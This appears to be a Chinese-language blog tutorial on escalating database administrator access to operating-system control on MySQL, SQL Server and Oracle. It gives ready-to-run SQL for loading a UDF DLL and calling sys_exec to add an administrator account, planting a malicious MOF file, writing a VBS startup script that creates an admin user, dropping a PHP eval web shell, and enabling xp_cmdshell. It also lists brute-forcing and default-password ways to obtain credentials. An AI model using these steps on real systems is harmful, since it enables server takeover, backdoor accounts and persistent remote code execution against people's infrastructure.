数据库提权实战指南

概述 (Overview)

当获得数据库的高权限访问(如 MySQL 的 root、SQL Server 的 sa、Oracle 的 SYSDBA)后,可以利用数据库自身提供的功能(如用户自定义函数 UDF、存储过程、外部命令执行接口等)或漏洞,在数据库服务器所在的操作系统上执行命令或获取 Shell,从而将数据库权限提升为操作系统权限。

MySQL 提权
  1. 获取 MySQL 账号密码 (Gaining Credentials)

    • Web 应用配置文件 : 查找常见的配置文件名 (config.php, database.yml, web.config, conn.inc 等) 读取数据库连接字符串。

    • 暴力破解: 如果 MySQL 端口 (默认 3306) 对外开放,使用 Hydra, Medusa, Nmap NSE 脚本等进行在线爆破。

    • 读取物理文件 (需 OS 权限) : 读取 MySQL 数据目录下的 mysql/user.MYD 文件(包含用户信息,密码为 HASH),需离线破解。

    • 嗅探: 在网络中嗅探未加密的 MySQL 连接。

    • 其他漏洞: 利用 Web 应用漏洞(如 SQL 注入、文件读取)获取凭据。

    • 开启远程访问 (需要 root 权限) :

      sql 复制代码
      GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'your_password';
      FLUSH PRIVILEGES;
  2. 利用 UDF (User-Defined Functions) 提权

    • 原理 : 创建一个自定义函数(通常用 C/C++ 编写并编译为共享库 .so.dll),该函数可以调用系统命令。然后通过 SQL 语句调用这个 UDF 函数。

    • 利用条件 :

      • 获取了 MySQL 的高权限账户(如 root),至少有 INSERT, DELETE 权限和 CREATE FUNCTION 权限。
      • 知道 MySQL 的插件目录 (plugin_dir) 路径,并且该目录或其上级目录对 MySQL 进程可写(或能通过其他方式将 DLL/SO 文件写入)。
      • (Windows) 可能需要绕过 AppArmor/SELinux 等安全限制。
    • 步骤 (以 Windows DLL 为例) :

      1. 确定插件目录 : show variables like '%plugin_dir%';

      2. 准备 UDF 库 : 获取预编译的 udf.dll (如 lib_mysqludf_sys 提供的 sys_exec, sys_eval) 或自行编译。

      3. 上传/写入 DLL :

        • 如果 plugin_dir 可直接写入,使用 SELECT ... INTO DUMPFILE 将 DLL 的十六进制内容写入。

        • 如果目录不存在或不可写,尝试利用 NTFS ADS 流创建目录:

          sql 复制代码
          -- 假设插件目录是 C:\mysql\lib\plugin\
          -- (注意:这种方法可能不可靠或已被修复)
          select 'data' into dumpfile 'C:\\mysql\\lib::$INDEX_ALLOCATION';
          select 'data' into dumpfile 'C:\\mysql\\lib\\plugin::$INDEX_ALLOCATION';
          -- 然后再尝试写入 DLL
          select 0x4D5A90... into dumpfile 'C:\\mysql\\lib\\plugin\\udf.dll';
        • 更好的方法是利用其他漏洞(如文件上传)或 OS 权限将 DLL 放入插件目录。

        • 旧版本路径 : MySQL < 5.1 可能尝试写入 C:\Windows\System32C:\Winnt\System32

      4. 创建函数 :

        sql 复制代码
        CREATE FUNCTION sys_exec RETURNS STRING SONAME 'udf.dll'; -- (或对应的 .so 文件)
      5. 执行命令 :

        sql 复制代码
        SELECT sys_exec('net user hacker hacker /add');
        SELECT sys_exec('net localgroup administrators hacker /add');
      6. 清理 :

        sql 复制代码
        DROP FUNCTION sys_exec;
        -- (可选) 删除 DLL 文件
    • 自动化工具: "MySQL 综合利用工具" 等图形化工具简化了此过程。

  3. 利用 MOF (Managed Object Format) 提权 (Windows)

    • 原理 : Windows Management Instrumentation (WMI) 会周期性地编译 C:\Windows\System32\wbem\mof\ 目录下的 .mof 文件,并以 SYSTEM 权限执行其中定义的 WMI 事件消费者。可以通过构造恶意的 .mof 文件(定义一个执行命令的消费者)并将其写入该目录来实现提权。
    • 利用条件 :
      • 获取了 MySQL 的 FILE 权限(通常 root 有)。
      • MySQL 配置未启用 secure-file-priv 或其允许写入 wbem/mof 目录。
      • 目标是 Windows 系统。
    • 步骤 :
      1. 准备 MOF 文件 : 编写一个 .mof 文件,其内容定义一个 WMI 事件过滤器和消费者,消费者执行恶意命令(如添加用户)。网上有现成的模板。

      2. 上传 MOF 文件 : 将 .mof 文件上传到服务器的可写目录(如 C:\wmpub\evil.mof)。

      3. 写入 MOF 目录 : 使用 SELECT ... INTO DUMPFILE 将 MOF 文件内容写入目标目录。

        sql 复制代码
        SELECT LOAD_FILE('C:/wmpub/evil.mof') INTO DUMPFILE 'C:/Windows/System32/wbem/mof/evil.mof';
      4. 等待执行: WMI 会自动编译并执行该 MOF 文件中的指令(通常很快)。

      5. 验证 : 检查命令是否已执行(如 net user 查看是否添加了用户)。

    • 风险: MOF 文件会被周期性执行,可能导致重复添加用户等问题。需要设计好 MOF 文件或及时清理。
  4. 利用 SELECT ... INTO OUTFILE/DUMPFILE 写文件

    • 原理 : 直接利用 FILE 权限将恶意内容写入特定位置的文件,实现代码执行或配置修改。

    • 写入启动项 (VBS 示例) :

      sql 复制代码
      -- 创建临时表存储 VBS 代码行
      CREATE TABLE temp_vbs (line TEXT);
      INSERT INTO temp_vbs VALUES ('Set wshshell = CreateObject("WScript.Shell")');
      INSERT INTO temp_vbs VALUES ('a = wshshell.run("cmd.exe /c net user hacker hacker /add", 0)');
      INSERT INTO temp_vbs VALUES ('b = wshshell.run("cmd.exe /c net localgroup Administrators hacker /add", 0)');
      -- 将表内容导出为 VBS 文件到启动目录
      SELECT line FROM temp_vbs INTO OUTFILE 'C:/Documents and Settings/Administrator/Start Menu/Programs/Startup/evil.vbs'; -- (路径可能因系统版本和用户名而异)
      DROP TABLE temp_vbs;
      • 触发: 需要等待用户下次登录或系统重启。
    • 写入 WebShell : 如果知道 Web 目录路径且有权限,可以直接写入 WebShell。

      sql 复制代码
      SELECT '<?php @eval($_POST["cmd"]);?>' INTO OUTFILE '/var/www/html/shell.php';
SQL Server (MSSQL) 提权
  • 前提 : 通常需要 sa (System Administrator) 权限或具有 CONTROL SERVER 权限的用户。
  • 常用方法 :
    1. xp_cmdshell :
      • 原理: 内建的扩展存储过程,允许执行操作系统命令。默认可能被禁用。

      • 启用 :

        sql 复制代码
        -- 启用高级选项
        EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
        -- 启用 xp_cmdshell
        EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
      • 执行命令 : EXEC master..xp_cmdshell 'whoami';

      • 执行权限: 通常以 SQL Server 服务账户的权限运行。如果服务账户是高权限用户(如 LocalSystem, NetworkService 或配置的域用户),即可提权。

    2. 沙盒提权 (SQL Server 2005+) : 利用 CLR 集成、OLE Automation Objects (sp_OACreate, sp_OAMethod) 等执行 OS 命令。
    3. 其他存储过程/功能: 如涉及文件系统操作、注册表操作的存储过程。
  • 获取凭据 :
    • 查找 Web 应用配置文件 (web.config 等)。
    • 暴力破解 (端口 1433)。
    • 嗅探。
  • 自动化工具 : SQLTools, Metasploit 相关模块 (admin/mssql/mssql_enum, exploit/windows/mssql/mssql_payload 等)。
Oracle 提权
  • 前提 : 通常需要 SYSDBA, DBA 权限或具有特定权限(如 CREATE ANY PROCEDURE, CREATE LIBRARY, EXECUTE ON JAVA.LANG.RUNTIME)的用户。
  • 常用方法 :
    1. Java Stored Procedures :
      • 原理 : Oracle 支持使用 Java 编写存储过程。可以编写一个调用 java.lang.Runtime.getRuntime().exec() 的 Java 存储过程来执行 OS 命令。
      • 需要权限 : CREATE PROCEDURE, EXECUTE ON JAVA.LANG.RUNTIME
    2. External Procedures (extproc) :
      • 原理 : 调用在操作系统上编译的外部共享库 (.so/.dll) 中的函数。需要配置 listener.oratnsnames.ora。可以编写一个执行命令的外部库。
    3. Scheduler Jobs: 创建一个数据库作业 (Job),使其执行包含 OS 命令的 PL/SQL 块或调用上述 Java/External Procedure。
    4. PL/SQL 包 : 利用 UTL_FILE (文件操作)、DBMS_XMLQUERY (可能触发 XXE 或 SSRF)、DBMS_ADVISOR.CREATE_FILE (写文件) 等包中的过程。
  • 获取凭据 : Web 应用配置文件、默认口令 (如 scott/tiger, sys/change_on_install)、暴力破解 (端口 1521)。
  • 自动化工具: OracleShell, Metasploit 相关模块。
相关推荐
DarkAthena2 小时前
【GaussDB】合入原生PG的PR来修复CVE-2025-1094漏洞后产生的严重隐患
数据库·漏洞·gaussdb
予枫的编程笔记2 小时前
【Redis核心原理篇3】Redis 主从复制:数据同步的底层逻辑与实践
数据库·redis·缓存
pp起床2 小时前
【苍穹外卖】Day03 菜品管理
java·数据库·mybatis
2301_803554522 小时前
Qt中connect()实现信号与槽连接这一核心机制
java·数据库·qt
海边的Kurisu3 小时前
苍穹外卖日记 | Day5 Redis
数据库·redis·缓存
冉冰学姐3 小时前
SSM药店管理系统fk5p7(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面
数据库·计算机毕业设计、·ssm 框架应用·药店管理系统
予枫的编程笔记3 小时前
【Redis核心原理篇4】Redis 哨兵模式:自动故障转移的实现原理
数据库·redis·bootstrap
敲敲千反田3 小时前
redis事务和主从模式
数据库·redis
小北方城市网3 小时前
Spring Cloud Gateway 自定义过滤器深度实战:业务埋点、参数校验与响应改写
运维·jvm·数据库·spring boot·后端·mysql